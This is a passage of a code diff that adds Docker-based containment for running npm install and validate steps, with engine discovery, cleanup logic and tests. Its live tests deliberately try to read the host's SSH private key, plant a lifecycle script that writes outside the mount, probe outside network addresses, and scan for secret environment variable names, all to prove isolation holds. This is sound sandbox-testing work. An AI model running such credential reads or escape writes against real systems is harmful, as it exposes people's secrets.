parseRows(networks.stdout)) {+ if (active.has(runId) || (runId === SHARED && !all)) continue;+ if (!all && !olderThan(runId, RUN_NETWORK_GRACE_MS)) continue;+ if ((await capture(cli, ['network', 'rm', name])).success) removed.networks += 1;+ }+ const volumes = await capture(cli, ['volume', 'ls', '--filter', `label=${label}`, '--format',+ `{{.Name}}\t{{.Label "${label}"}}\t{{.Label "${DOCKER_CONTAINMENT_WORKTREE_LABEL}"}}\t{{.Label "${DOCKER_CONTAINMENT_CREATED_LABEL}"}}`]);+ for (const [name, runId, worktreeKey, created] of parseRows(volumes.stdout)) {+ if (activeWorktrees.has(worktreeKey) || active.has(runId)) continue;+ const stale = all || (runId !== SHARED && !(Number(created) > now() - DOCKER_CONTAINMENT_VOLUME_TTL_MS));+ if (!stale) continue;+ if ((await capture(cli, ['volume', 'rm', '--force', name])).success) removed.volumes += 1;+ }+ return removed;+}++let reconcileTail = Promise.resolve();++/**+ * Bring PortOS's Docker objects in line with the feature flag. On: verify the+ * engine, create the shared egress network, sweep orphans. Off: cancel live+ * runs and remove everything PortOS created — but only when this process+ * armed it or the user just toggled it, so a fresh install with the feature+ * off makes no Docker call at all. Serialized; logs transitions only.+ */+export function reconcileDockerContainment({ enabled, reason = 'unspecified', engine } = {}) {+ const run = () => reconcileOnce({ enabled, reason, engine });+ const next = reconcileTail.then(run, run);+ reconcileTail = next.then(() => {}, () => {});+ return next;+}++async function reconcileOnce({ enabled, reason, engine: injected }) {+ if (!enabled) {+ if (!armedThisProcess && reason !== 'feature-toggle') return { enabled: false, changed: false };+ for (const run of activeRuns.values()) run.abort();+ const engine = injected ?? await resolveDockerEngine();+ armedThisProcess = false;+ if (!engine.ready) return { enabled: false, changed: false, state: engine.state };+ const removed = await sweepDockerContainmentOrphans({ engine, all: true });+ const changed = Object.values(removed).some(Boolean);+ if (changed) console.log(`🐳 Docker containment disarmed (${reason}): removed ${removed.containers} container(s), ${removed.networks} network(s), ${removed.volumes} volume(s)`);+ return { enabled: false, changed, removed };+ }+ const engine = injected ?? await resolveDockerEngine();+ armedThisProcess = true;+ if (!engine.ready) {+ console.warn(`⚠️ Docker containment is on but not ready (${engine.state}): ${engine.message}`);+ return { enabled: true, changed: false, state: engine.state };+ }+ const networkCreated = await ensureEgressNetwork(engine.cli);+ const removed = await sweepDockerContainmentOrphans({ engine });+ const changed = networkCreated || Object.values(removed).some(Boolean);+ if (changed) console.log(`🐳 Docker containment armed (${reason}) on ${engine.engine?.label ?? 'Docker'}`);+ return { enabled: true, changed, state: engine.state, removed };+}++/** Test seam: forget process-level arming and queues. */+export function __resetDockerContainmentState() {+ activeRuns.clear();+ worktreeTails.clear();+ armedThisProcess = false;+ reconcileTail = Promise.resolve();+}diff --git a/server/services/dockerContainment.live.test.js b/server/services/dockerContainment.live.test.jsnew file mode 100644index 0000000000..1d3b27c7d4--- /dev/null+++ b/server/services/dockerContainment.live.test.js@@ -0,0 +1,132 @@+/**+ * LIVE evidence for the Docker containment profile (#12844): a real local+ * Linux engine, the pinned Node image, real install and validate runs. Opt-in,+ * because it needs Docker and pulls the pinned image once:+ *+ * cd server && PORTOS_DOCKER_CONTAINMENT_LIVE=1 npx vitest run services/dockerContainment.live.test.js+ *+ * With the flag set an unready engine FAILS (it never silently skips), so a+ * green run is evidence. The install cases need the public npm registry.+ */+import { afterAll, beforeAll, describe, expect, it } from 'vitest';+import { execFileSync } from 'child_process';+import { existsSync, mkdtempSync, readdirSync, realpathSync, rmSync, writeFileSync } from 'fs';+import { createServer } from 'net';+import { homedir, tmpdir } from 'os';+import { join } from 'path';+import { DOCKER_CONTAINMENT_LABEL, dockerContainmentWorkVolume } from '../lib/dockerContainment.js';+import { PORTS } from '../lib/ports.js';+import { pullDockerContainmentImage, runContained } from './dockerContainment.js';+import { resolveDockerEngine } from './dockerEngine.js';++const LIVE = process.env.PORTOS_DOCKER_CONTAINMENT_LIVE === '1';+const NODE_MAJOR = 24;++describe.skipIf(!LIVE)('Docker containment under a real engine', () => {+ let engine;+ let repo;+ let listener;+ let connections = 0;+ const run = (phase, command, extra = {}) => runContained({ worktree: repo, phase, command, timeoutMs: 180_000, ...extra });+ const labeled = async (kind) => (await engine.cli.capture(kind === 'ps'+ ? ['ps', '--all', '--filter', `label=${DOCKER_CONTAINMENT_LABEL}`, '--format', '{{.Names}}']+ : ['network', 'ls', '--filter', `label=${DOCKER_CONTAINMENT_LABEL}`, '--format', '{{.Name}}'])).stdout.trim().split('\n').filter(Boolean);+ const volumeExists = async (name) => (await engine.cli.capture(['volume', 'inspect', name])).success;++ beforeAll(async () => {+ engine = await resolveDockerEngine();+ if (!engine.ready) throw new Error(`No ready local Docker engine (${engine.state}): ${engine.message}`);+ const pulled = await pullDockerContainmentImage({ major: NODE_MAJOR, engine });+ if (!pulled.ok) throw new Error(`Could not pull the pinned Node ${NODE_MAJOR} image: ${pulled.error}`);+ repo = realpathSync(mkdtempSync(join(tmpdir(), 'portos-contained-live-')));+ writeFileSync(join(repo, '.nvmrc'), `${NODE_MAJOR}\n`);+ writeFileSync(join(repo, 'package.json'), `${JSON.stringify({+ name: 'contained-live', version: '1.0.0', private: true,+ scripts: { preinstall: 'echo planted > planted-by-lifecycle.txt; echo planted > /src/escaped.txt || true', test: 'node -e "process.exit(0)"' },+ }, null, 2)}\n`);+ writeFileSync(join(repo, 'tracked.txt'), 'one\n');+ execFileSync('git', ['init', '-q'], { cwd: repo });+ execFileSync('git', ['add', '.'], { cwd: repo });+ listener = createServer((socket) => { connections += 1; socket.destroy(); });+ await new Promise((resolve) => listener.listen(0, '0.0.0.0', resolve));+ }, 600_000);++ afterAll(async () => {+ listener?.close();+ if (repo) {+ await engine?.cli.capture(['volume', 'rm', '--force', dockerContainmentWorkVolume(repo)]);+ rmSync(repo, { recursive: true, force: true });+ }+ });++ it('runs as non-root with no host home, no credential store and no Docker socket', async () => {+ const home = homedir();+ const result = await run('validate', [+ 'id -u',+ `test -e ${JSON.stringify(home)} && echo HOME_VISIBLE || echo HOME_ABSENT`,+ `cat ${JSON.stringify(join(home, '.ssh', 'id_ed25519'))} 2>/dev/null && echo SSH_READ || echo SSH_DENIED`,+ 'ls /var/run/docker.sock /run/docker.sock 2>/dev/null && echo SOCKET_PRESENT || echo SOCKET_ABSENT',+ 'env | sort',+ ].join('; '));+ expect(result).toMatchObject({ status: 'completed', exitCode: 0, contained: true });+ const lines = result.log.split('\n');+ expect(Number(lines.find((line) => /^\d+$/.test(line)))).toBeGreaterThan(0);+ expect(result.log).toContain('HOME_ABSENT');+ expect(result.log).toContain('SSH_DENIED');+ expect(result.log).toContain('SOCKET_ABSENT');+ expect(result.log).not.toMatch(/PORTOS_API_TOKEN|ANTHROPIC|OPENAI|GITHUB_TOKEN|GH_TOKEN|PGPASSWORD/);+ });++ it('gives validate no network at all: not the host gateway, not PortOS, not the internet', async () => {+ const port = listener.address().port;+ const probe = `const net = require('net'); const targets = [['host.docker.internal', ${port}], ['host.docker.internal', ${PORTS.API}], ['172.17.0.1', ${port}], ['1.1.1.1', 443], ['127.0.0.1', ${PORTS.API}]]; Promise.all(targets.map(([host, port]) => new Promise((done) => { const s = net.connect({ host, port, timeout: 3000 }); s.on('connect', () => { s.destroy(); done(host + ':' + port + '=OPEN'); }); s.on('error', (e) => done(host + ':' + port + '=' + e.code)); s.on('timeout', () => { s.destroy(); done(host + ':' + port + '=TIMEOUT'); }); }))).then((r) => console.log('PROBE ' + r.join(' ')));`;+ // Only loopback (plus the kernel's down-by-default tunnel stubs), and no route anywhere.+ const result = await run('validate', `echo IFACES $(ls /sys/class/net); echo ROUTES $(tail -n +2 /proc/net/route | wc -l); node -e ${JSON.stringify(probe)}`);+ expect(result.status).toBe('completed');+ const ifaces = result.log.split('\n').find((line) => line.startsWith('IFACES ')).split(' ').slice(1);+ expect(ifaces).toContain('lo');+ expect(ifaces.filter((name) => /^(eth|en|veth|wl|br)/.test(name))).toEqual([]);+ expect(result.log).toContain('ROUTES 0');+ const report = result.log.split('\n').find((line) => line.startsWith('PROBE '));+ expect(report).toBeTruthy();+ expect(report).not.toContain('=OPEN');+ expect(connections).toBe(0);+ });++ it('lets install reach registry.npmjs.org through the proxy and nothing else', async () => {+ const direct = `require('net').connect({ host: '1.1.1.1', port: 443, timeout: 3000 }).on('connect', () => console.log('DIRECT_OPEN')).on('error', (e) => console.log('DIRECT_' + e.code)).on('timeout', function () { console.log('DIRECT_TIMEOUT'); this.destroy(); })`;+ const result = await run('install', [+ 'npm view is-number version && echo REGISTRY_OK',+ '(npm view --registry https://example.com/ is-number version >/dev/null 2>&1 && echo OTHER_OK || echo OTHER_REFUSED)',+ `node -e ${JSON.stringify(direct)}`,+ ].join('; '));+ expect(result).toMatchObject({ status: 'completed', exitCode: 0 });+ expect(result.log).toContain('REGISTRY_OK');+ expect(result.log).toContain('OTHER_REFUSED');+ expect(result.log).not.toContain('DIRECT_OPEN');+ expect(connections).toBe(0);+ });++ it("keeps a lifecycle script's writes out of the host worktree and returns tracked edits as a patch", async () => {+ const before = readdirSync(repo).sort();+ const result = await run('install', 'npm install --no-audit && echo two >> tracked.txt');+ expect(result).toMatchObject({ status: 'completed', exitCode: 0 });+ expect(result.log).toContain('planted-by-lifecycle');+ expect(readdirSync(repo).sort()).toEqual(before);+ expect(existsSync(join(repo, 'planted-by-lifecycle.txt'))).toBe(false);+ expect(existsSync(join(repo, 'escaped.txt'))).toBe(false);+ expect(result.patch).toContain('+two');+ expect(result.patch).not.toContain('planted');+ // The volume the install left serves the validate phase.+ const validate = await run('validate', 'test -f planted-by-lifecycle.txt && npm test');+ expect(validate).toMatchObject({ status: 'completed', exitCode: 0 });+ });++ it('kills and removes the container and its work volume on timeout', async () => {+ const result = await run('validate', 'sleep 600', { timeoutMs: 5_000 });+ expect(result).toMatchObject({ status: 'terminated', reason: 'timeout', exitCode: null });+ expect(await labeled('ps')).toEqual([]);+ expect(await volumeExists(dockerContainmentWorkVolume(repo))).toBe(false);+ expect((await labeled('network')).filter((name) => name.startsWith('portos-contained-net-'))).toEqual([]);+ });+});diff --git a/server/services/dockerContainment.test.js b/server/services/dockerContainment.test.jsnew file mode 100644index 0000000000..a117d337ce--- /dev/null+++ b/server/services/dockerContainment.test.js@@ -0,0 +1,128 @@+import { afterAll, beforeEach, describe, expect, it, vi } from 'vitest';+import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'fs';+import { tmpdir } from 'os';+import { join } from 'path';++const engineState = vi.hoisted(() => ({ resolve: null }));+vi.mock('./dockerEngine.js', async (importOriginal) => ({+ ...await importOriginal(),+ resolveDockerEngine: vi.fn(async () => engineState.resolve()),+}));++const {+ __resetDockerContainmentState, getDockerContainmentStatus, reconcileDockerContainment, runContained,+} = await import('./dockerContainment.js');++/** A ready engine whose CLI answers from `responses` (first matching prefix wins) and records every call. */+function fakeEngine(responses = []) {+ const calls = [];+ const capture = vi.fn(async (args) => {+ calls.push(args.join(' '));+ const hit = responses.find(([prefix]) => args.join(' ').startsWith(prefix));+ return hit ? { success: true, stdout: '', stderr: '', ...hit[1] } : { success: true, stdout: '', stderr: '' };+ });+ return { state: 'ready', ready: true, message: 'ready', engine: { kind: 'native', label: 'Docker Engine', context: 'default' }, cli: { bin: 'docker', globalArgs: [], capture }, calls };+}++const repo = realpathSync(mkdtempSync(join(tmpdir(), 'portos-contained-svc-')));+afterAll(() => rmSync(repo, { recursive: true, force: true }));++beforeEach(() => {+ __resetDockerContainmentState();+ engineState.resolve = vi.fn(() => { throw new Error('Docker must not be consulted'); });+ vi.spyOn(console, 'log').mockImplementation(() => {});+ vi.spyOn(console, 'warn').mockImplementation(() => {});+});++describe('reconcileDockerContainment', () => {+ it('makes no Docker call at boot or on a status read while the feature is off', async () => {+ expect(await reconcileDockerContainment({ enabled: false, reason: 'boot' })).toEqual({ enabled: false, changed: false });+ expect(await getDockerContainmentStatus({ enabled: false })).toMatchObject({ state: 'disabled', engine: null, images: [] });+ expect(engineState.resolve).not.toHaveBeenCalled();+ });++ it('creates the egress network and sweeps orphans when turned on, and removes everything when turned off', async () => {+ const engine = fakeEngine([+ ['network inspect', { success: false }],+ ['ps --all', { stdout: 'portos-contained-rold\trold\n' }],+ ['network ls', { stdout: 'portos-contained-egress\tshared\nportos-contained-net-rold\trold\n' }],+ ['volume ls', { stdout: `portos-contained-work-aaa\trold\taaa\t${Date.now() - 2 * 86_400_000}\nportos-contained-work-bbb\trnew\tbbb\t${Date.now()}\nportos-contained-npm-cache\tshared\t\t${Date.now()}\n` }],+ ]);+ engineState.resolve = vi.fn(() => engine);+ const on = await reconcileDockerContainment({ enabled: true, reason: 'feature-toggle' });+ expect(on).toMatchObject({ enabled: true, changed: true, removed: { containers: 1, networks: 1, volumes: 1 } });+ expect(engine.calls).toContain('network create --label org.portos.containment.run=shared portos-contained-egress');+ expect(engine.calls).toContain('rm --force portos-contained-rold');+ expect(engine.calls).toContain('network rm portos-contained-net-rold');+ expect(engine.calls).toContain('volume rm --force portos-contained-work-aaa');+ expect(engine.calls).not.toContain('network rm portos-contained-egress');+ expect(engine.calls).not.toContain('volume rm --force portos-contained-work-bbb');++ engine.calls.length = 0;+ const off = await reconcileDockerContainment({ enabled: false, reason: 'feature-toggle' });+ expect(off).toMatchObject({ enabled: false, changed: true });+ expect(engine.calls).toEqual(expect.arrayContaining([+ 'network rm portos-contained-egress',+ 'volume rm --force portos-contained-work-bbb',+ 'volume rm --force portos-contained-npm-cache',+ ]));+ });+});++it("leaves another process's live run alone: only stopped containers, and a fresh run network survives", async () => {+ const freshRun = `r${Date.now().toString(36)}abcdef12`;+ const engine = fakeEngine([+ ['network inspect', { success: true }],+ ['ps --all', { stdout: `portos-contained-proxy-${freshRun}\t${freshRun}\tcreated\n` }],+ ['network ls', { stdout: `portos-contained-net-${freshRun}\t${freshRun}\n` }],+ ]);+ engineState.resolve = vi.fn(() => engine);+ await reconcileDockerContainment({ enabled: true, reason: 'boot' });+ const ps = engine.calls.find((call) => call.startsWith('ps --all'));+ expect(ps).toContain('--filter status=exited');+ expect(ps).not.toContain('status=running');+ expect(engine.calls.some((call) => call.startsWith('rm --force') || call.startsWith('network rm'))).toBe(false);+});++// These refusals sit behind the mount-source check, which accepts only absolute POSIX paths. A+// Windows host's temp dir is refused there first (the resolver also refuses win32 hosts outright,+// see dockerEngine.test.js), so the ordering below is only observable on a POSIX host.+const POSIX_HOST = process.platform !== 'win32';++describe('runContained refusals', () => {+ it.runIf(!POSIX_HOST)('refuses a non-POSIX worktree path at the mount check, before any image probe', async () => {+ const engine = fakeEngine();+ expect(await runContained({ worktree: repo, phase: 'validate', command: 'npm test', deps: { engine } }))+ .toMatchObject({ status: 'refused', state: 'mount-refused', contained: false });+ expect(engine.calls).toEqual([]);+ });++ it.runIf(POSIX_HOST)('refuses when the pinned image is not pulled, without creating anything', async () => {+ writeFileSync(join(repo, '.nvmrc'), '24\n');+ const engine = fakeEngine([['image inspect', { success: false }]]);+ const result = await runContained({ worktree: repo, phase: 'validate', command: 'npm test', deps: { engine } });+ expect(result).toMatchObject({ status: 'refused', code: 'CONTAINMENT_UNAVAILABLE', state: 'image-missing', contained: false });+ expect(engine.calls.every((call) => call.startsWith('image inspect'))).toBe(true);+ });++ it.runIf(POSIX_HOST)('refuses a Node major with no pinned image rather than testing under another runtime', async () => {+ writeFileSync(join(repo, '.nvmrc'), '18\n');+ const engine = fakeEngine();+ const result = await runContained({ worktree: repo, phase: 'validate', command: 'npm test', deps: { engine } });+ expect(result).toMatchObject({ status: 'refused', state: 'unsupported-node' });+ expect(result.reason).toContain('Node 18');+ expect(engine.calls).toEqual([]);+ const overridden = await runContained({+ worktree: repo, phase: 'validate', command: 'npm test', deps: { engine: fakeEngine([['image inspect', { success: false }]]) },+ settings: { imageOverrides: { 18: `node:18-bookworm-slim@sha256:${'a'.repeat(64)}` } },+ });+ expect(overridden).toMatchObject({ status: 'refused', state: 'image-missing', image: `node:18-bookworm-slim@sha256:${'a'.repeat(64)}` });+ });++ it.runIf(POSIX_HOST)('refuses to mount the data directory or a credential store as the worktree', async () => {+ const engine = fakeEngine();+ expect(await runContained({ worktree: repo, phase: 'validate', command: 'npm test', dataDir: repo, deps: { engine } }))+ .toMatchObject({ status: 'refused', state: 'mount-refused' });+ expect(engine.calls).toEqual([]);+ });+});diff --git a/server/services/dockerEngine.js b/server/services/dockerEngine.jsnew file mode 100644index 0000000000..2fede31747--- /dev/null+++ b/server/services/dockerEngine.js@@ -0,0 +1,211 @@+/**+ * Shared Docker discovery (#12844): the CLI, the engine it talks to, and the+ * readiness vocabulary every Docker-backed runtime reports. SuperCollider uses+ * `resolveDockerCli` / `probeDocker` unchanged; the containment profile uses+ * `resolveDockerEngine`, which also chooses and pins an endpoint.+ *+ * PortOS never installs, starts or reconfigures Docker. Only local endpoints+ * (`unix://`, `npipe://`) are accepted: a `tcp://` or `ssh://` context would+ * ship a worktree to another machine.+ *+ * Node builtins plus dependency-light `server/lib` modules, so the standalone+ * autofixer package can import it.+ */++import { existsSync } from 'node:fs';+import { bufferedSpawn, spawnFailureDetail } from '../lib/bufferedSpawn.js';+import { whichFirst } from '../lib/processEnv.js';+import { parseDockerVersion } from '../lib/superColliderRuntime.js';++const DOCKER_PROBE_TIMEOUT_MS = 15_000;+const MAX_DIAGNOSTIC_CHARS = 600;++// Docker Desktop's CLI is not always on a PM2-launched server's PATH — a+// fresh Docker Desktop install may not have created the /usr/local/bin link yet.+export const DOCKER_FALLBACK_PATHS = Object.freeze([+ '/usr/local/bin/docker',+ '/opt/homebrew/bin/docker',+ '/Applications/Docker.app/Contents/Resources/bin/docker',+]);++const NATIVE_DOCKER_ENDPOINT = 'unix:///var/run/docker.sock';++/** Docker Desktop's context name on macOS, Windows and Linux. */+export const DOCKER_DESKTOP_CONTEXT = 'desktop-linux';++/** Keep diagnostics bounded: one line, at most MAX_DIAGNOSTIC_CHARS, tail-preferring. */+export function clipDiagnostic(text) {+ const flat = String(text ?? '').replace(/\s+/g, ' ').trim();+ return flat.length > MAX_DIAGNOSTIC_CHARS ? `…${flat.slice(-MAX_DIAGNOSTIC_CHARS)}` : flat;+}++/**+ * The docker CLI adapter: `capture` runs a short command and buffers its+ * output; `stream` (when given) runs a long one. `globalArgs` (`--context X`+ * or `--host Y`) prefix every command so a run lands on the engine the+ * resolver verified. Tests pass a fake with the same methods.+ */+function createDockerCli(bin, { globalArgs = [], stream = null } = {}) {+ const env = { ...process.env };+ // The explicit endpoint below must win over anything the server inherited.+ if (globalArgs.length) { delete env.DOCKER_HOST; delete env.DOCKER_CONTEXT; }+ return {+ bin,+ globalArgs,+ env,+ capture: (args, { timeoutMs = DOCKER_PROBE_TIMEOUT_MS } = {}) => bufferedSpawn(bin, [...globalArgs, ...args], { env, timeoutMs, killGraceMs: 2_000, shell: false }),+ ...(stream ? { stream } : {}),+ };+}++/** Path of the local docker CLI, or null when it is not installed. */+async function findDockerBinary({ which = whichFirst, exists = existsSync } = {}) {+ return await which('docker') || DOCKER_FALLBACK_PATHS.find((path) => exists(path)) || null;+}++/**+ * The local docker CLI (against whatever endpoint its own config selects), or+ * null when it is not installed. `stream` is supplied by the caller that needs+ * long-running commands (SuperCollider's builds and renders).+ */+export async function resolveDockerCli({ stream = null } = {}) {+ const bin = await findDockerBinary();+ return bin ? createDockerCli(bin, { stream: stream ? (args, onLine, options) => stream(bin, args, onLine, options) : null }) : null;+}++/** `{ installed, running, clientVersion, serverVersion, os, arch, platformName, error }` for a docker CLI (null = not installed). */+export async function probeDocker(cli) {+ if (!cli) return { installed: false, running: false, clientVersion: null, serverVersion: null, os: null, arch: null, platformName: null, error: null };+ const result = await cli.capture(['version', '--format', '{{json .}}']);+ // The client prints its half even when the engine is down, so the server+ // version — not the exit code alone — is what proves the engine answered.+ const version = parseDockerVersion(result.stdout);+ let platformName = null;+ try { platformName = JSON.parse(String(result.stdout || '').trim())?.Server?.Platform?.Name ?? null; } catch { platformName = null; }+ const running = Boolean(version.serverVersion);+ return {+ installed: true,+ running,+ ...version,+ platformName,+ error: running ? null : clipDiagnostic(result.timedOut ? 'docker did not answer in time' : spawnFailureDetail(result, 'docker engine not reachable')),+ };+}++/** `local` for unix/npipe endpoints, `remote` for tcp/ssh/anything else, null when empty. */+function classifyDockerEndpoint(endpoint) {+ const text = String(endpoint ?? '').trim();+ if (!text) return null;+ return /^(unix|npipe):\/\//i.test(text) ? 'local' : 'remote';+}++/** Parse `docker context ls --format '{{json .}}'` (one object per line). */+function parseDockerContexts(stdout) {+ return String(stdout || '').split('\n').flatMap((line) => {+ let row;+ try { row = JSON.parse(line); } catch { return []; }+ const name = typeof row?.Name === 'string' ? row.Name : null;+ if (!name) return [];+ return [{ name, current: row.Current === true, endpoint: typeof row.DockerEndpoint === 'string' ? row.DockerEndpoint : '' }];+ });+}++/**+ * The endpoints to try, best first: Docker Desktop (preferred when present),+ * the active context, then `default` (native dockerd's socket on Linux). An+ * operator-set `DOCKER_HOST` is the only candidate — it is what they chose.+ */+function dockerEngineCandidates({ contexts = [], dockerHost = null } = {}) {+ if (dockerHost) return [{ name: null, current: true, endpoint: dockerHost, globalArgs: ['--host', dockerHost] }];+ // A CLI too old for contexts still has the native socket.+ if (contexts.length === 0) return [{ name: null, current: true, endpoint: NATIVE_DOCKER_ENDPOINT, globalArgs: ['--host', NATIVE_DOCKER_ENDPOINT] }];+ const ordered = [+ contexts.find((c) => c.name === DOCKER_DESKTOP_CONTEXT),+ contexts.find((c) => c.current),+ contexts.find((c) => c.name === 'default'),+ ].filter(Boolean);+ const seen = new Set();+ return ordered.filter((c) => !seen.has(c.name) && seen.add(c.name))+ .map((c) => ({ name: c.name, current: c.current, endpoint: c.endpoint, globalArgs: ['--context', c.name] }));+}++/** `desktop` (Docker Desktop), `native` (a local dockerd), or `other` (Colima, OrbStack, …). */+function dockerEngineKind({ platformName, endpoint, contextName }) {+ if (/docker desktop/i.test(String(platformName ?? '')) || contextName === DOCKER_DESKTOP_CONTEXT) return 'desktop';+ if (/^unix:\/\/\/(var\/)?run\/docker\.sock$/.test(String(endpoint ?? ''))) return 'native';+ return 'other';+}++const ENGINE_LABELS = { desktop: 'Docker Desktop', native: 'Docker Engine', other: 'Docker-compatible engine' };++/**+ * The engine verdict: `{ state, ready, message, engine, cli }`, `state` one of+ * docker-missing, docker-stopped, docker-unsupported, docker-remote-refused,+ * ready. `cli` (bound to the chosen endpoint) is present only when ready.+ */+function evaluateDockerEngine({ installed, candidates = [], probes = [], platform = process.platform }) {+ const verdict = (state, message, extra = {}) => ({ state, ready: state === 'ready', message, engine: null, cli: null, ...extra });+ if (!installed) {+ return verdict('docker-missing', 'Docker is not installed. Install Docker Desktop (macOS/Windows) or Docker Engine (Linux) and start it — PortOS never installs or reconfigures Docker for you.');+ }+ const remote = candidates.filter((c) => classifyDockerEndpoint(c.endpoint) === 'remote');+ const answered = probes.find((p) => p.docker.running);+ if (!answered) {+ // An operator who pointed the active context (or DOCKER_HOST) at another+ // machine is told so, rather than seeing a generic "stopped".+ if (remote.some((c) => c.current)) {+ return verdict('docker-remote-refused', `The Docker endpoint (${remote[0].name ?? 'DOCKER_HOST'}) is not local; contained runs only use a unix:// or npipe:// engine on this machine.`);+ }+ const error = probes.map((p) => p.docker.error).find(Boolean);+ return verdict('docker-stopped', `Docker is installed but no local engine answered${error ? ` (${error})` : ''}. Start Docker Desktop or the Docker service and try again.`);+ }+ const { candidate, docker } = answered;+ const kind = dockerEngineKind({ platformName: docker.platformName, endpoint: candidate.endpoint, contextName: candidate.name });+ const engine = {+ kind,+ label: ENGINE_LABELS[kind],+ context: candidate.name,+ serverVersion: docker.serverVersion,+ os: docker.os,+ arch: docker.arch,+ };+ if (docker.os !== 'linux') {+ return verdict('docker-unsupported', `Docker is serving ${docker.os || 'unknown'} containers; contained runs need Linux containers.`, { engine });+ }+ if (platform === 'win32') {+ return verdict('docker-unsupported', 'Contained runs are not supported on Windows hosts yet.', { engine });+ }+ return verdict('ready', `${engine.label} ${docker.serverVersion} is ready${candidate.name ? ` (context ${candidate.name})` : ''}.`, { engine, cli: answered.cli });+}++/**+ * Find a local, running engine. Asks only the docker CLI (context list and+ * `docker version` per candidate); never starts, installs or reconfigures it.+ *+ * @param {object} [deps]+ * @param {string|null} [deps.bin] - docker binary (undefined → discover)+ * @param {(bin: string, opts: object) => object} [deps.createCli]+ * @param {Record<string,string|undefined>} [deps.env]+ * @param {Function} [deps.which] - PATH lookup (test seam)+ * @param {Function} [deps.exists] - fallback-path probe (test seam)+ */+export async function resolveDockerEngine({ bin, createCli = createDockerCli, env = process.env, platform = process.platform, which, exists } = {}) {+ const dockerBin = bin === undefined ? await findDockerBinary({ which, exists }) : bin;+ if (!dockerBin) return evaluateDockerEngine({ installed: false, platform });+ const dockerHost = String(env.DOCKER_HOST ?? '').trim() || null;+ let contexts = [];+ if (!dockerHost) {+ const listed = await createCli(dockerBin).capture(['context', 'ls', '--format', '{{json .}}']);+ contexts = listed.success ? parseDockerContexts(listed.stdout) : [];+ }+ const candidates = dockerEngineCandidates({ contexts, dockerHost });+ const probes = [];+ for (const candidate of candidates) {+ if (classifyDockerEndpoint(candidate.endpoint) !== 'local') continue;+ const cli = createCli(dockerBin, { globalArgs: candidate.globalArgs });+ const docker = await probeDocker(cli);+ probes.push({ candidate, docker, cli });+ if (docker.running) break;+ }+ return evaluateDockerEngine({ installed: true, candidates, probes, platform });+}diff --git a/server/services/dockerEngine.test.js b/server/services/dockerEngine.test.jsnew file mode 100644index 0000000000..0388b596ec--- /dev/null+++ b/server/services/dockerEngine.test.js@@ -0,0 +1,86 @@+import { describe, expect, it, vi } from 'vitest';+import { DOCKER_FALLBACK_PATHS, resolveDockerEngine } from './dockerEngine.js';++const version = ({ os = 'linux', platform = null } = {}) => JSON.stringify({+ Client: { Version: '29.0.0' },+ Server: { Version: '29.0.0', Os: os, Arch: 'arm64', ...(platform ? { Platform: { Name: platform } } : {}) },+});+const contextRow = (name, endpoint, current = false) => JSON.stringify({ Name: name, Current: current, DockerEndpoint: endpoint });++/** A docker CLI double: `contexts` rows, and which endpoints answer `docker version`. */+function fakeDocker({ contexts = [], answering = {}, contextLsFails = false }) {+ const calls = [];+ const createCli = (bin, { globalArgs = [] } = {}) => ({+ bin, globalArgs,+ capture: vi.fn(async (args) => {+ calls.push([...globalArgs, ...args]);+ if (args[0] === 'context') return contextLsFails ? { success: false, stdout: '', stderr: 'unknown command' } : { success: true, stdout: contexts.join('\n') };+ const key = globalArgs[1];+ return answering[key] ? { success: true, stdout: answering[key] } : { success: false, stdout: JSON.stringify({ Client: { Version: '29.0.0' } }), stderr: 'Cannot connect to the Docker daemon' };+ }),+ });+ return { createCli, calls };+}++describe('resolveDockerEngine', () => {+ it('finds the CLI on PATH, else in the Docker Desktop bundle', async () => {+ const docker = fakeDocker({ contexts: [contextRow('default', 'unix:///var/run/docker.sock', true)], answering: { default: version() } });+ const resolve = (which, exists) => resolveDockerEngine({ which, exists, createCli: docker.createCli, env: {}, platform: 'linux' });+ expect((await resolve(async () => '/usr/bin/docker', () => false)).cli.bin).toBe('/usr/bin/docker');+ const bundle = '/Applications/Docker.app/Contents/Resources/bin/docker';+ expect(DOCKER_FALLBACK_PATHS).toContain(bundle);+ expect((await resolve(async () => null, (path) => path === bundle)).cli.bin).toBe(bundle);+ expect(await resolve(async () => null, () => false)).toMatchObject({ state: 'docker-missing', ready: false, cli: null });+ });++ it('prefers a running Docker Desktop over the active native context, and pins the run to it', async () => {+ const docker = fakeDocker({+ contexts: [contextRow('default', 'unix:///var/run/docker.sock', true), contextRow('desktop-linux', 'unix:///home/example/.docker/desktop/docker.sock')],+ answering: { 'desktop-linux': version({ platform: 'Docker Desktop 4.50.0' }), default: version() },+ });+ const engine = await resolveDockerEngine({ bin: '/usr/bin/docker', createCli: docker.createCli, env: {}, platform: 'linux' });+ expect(engine).toMatchObject({ state: 'ready', engine: { kind: 'desktop', context: 'desktop-linux' } });+ expect(engine.cli.globalArgs).toEqual(['--context', 'desktop-linux']);+ });++ it('falls back to native Docker Engine when Docker Desktop is installed but stopped', async () => {+ const docker = fakeDocker({+ contexts: [contextRow('default', 'unix:///var/run/docker.sock'), contextRow('desktop-linux', 'unix:///home/example/.docker/desktop/docker.sock', true)],+ answering: { default: version() },+ });+ const engine = await resolveDockerEngine({ bin: '/usr/bin/docker', createCli: docker.createCli, env: {}, platform: 'linux' });+ expect(engine).toMatchObject({ state: 'ready', engine: { kind: 'native', context: 'default' } });+ expect(engine.cli.globalArgs).toEqual(['--context', 'default']);+ });++ it('reports stopped when no local engine answers', async () => {+ const docker = fakeDocker({ contexts: [contextRow('default', 'unix:///var/run/docker.sock', true)] });+ const engine = await resolveDockerEngine({ bin: '/usr/bin/docker', createCli: docker.createCli, env: {}, platform: 'linux' });+ expect(engine).toMatchObject({ state: 'docker-stopped', ready: false, cli: null });+ expect(engine.message).toContain('Cannot connect to the Docker daemon');+ });++ it.each([+ ['an ssh context', { contexts: [contextRow('build-box', 'ssh://[email protected]', true), contextRow('default', 'unix:///var/run/docker.sock')] }, {}],+ ['a tcp DOCKER_HOST', { contexts: [] }, { DOCKER_HOST: 'tcp://192.0.2.10:2376' }],+ ])('refuses %s without ever asking it', async (_label, setup, env) => {+ const docker = fakeDocker({ ...setup, answering: { 'build-box': version(), 'tcp://192.0.2.10:2376': version() } });+ const engine = await resolveDockerEngine({ bin: '/usr/bin/docker', createCli: docker.createCli, env, platform: 'linux' });+ expect(engine).toMatchObject({ state: 'docker-remote-refused', ready: false });+ expect(docker.calls.some((call) => call.includes('build-box') || call.includes('tcp://192.0.2.10:2376'))).toBe(false);+ });++ it('requires Linux containers and refuses Windows 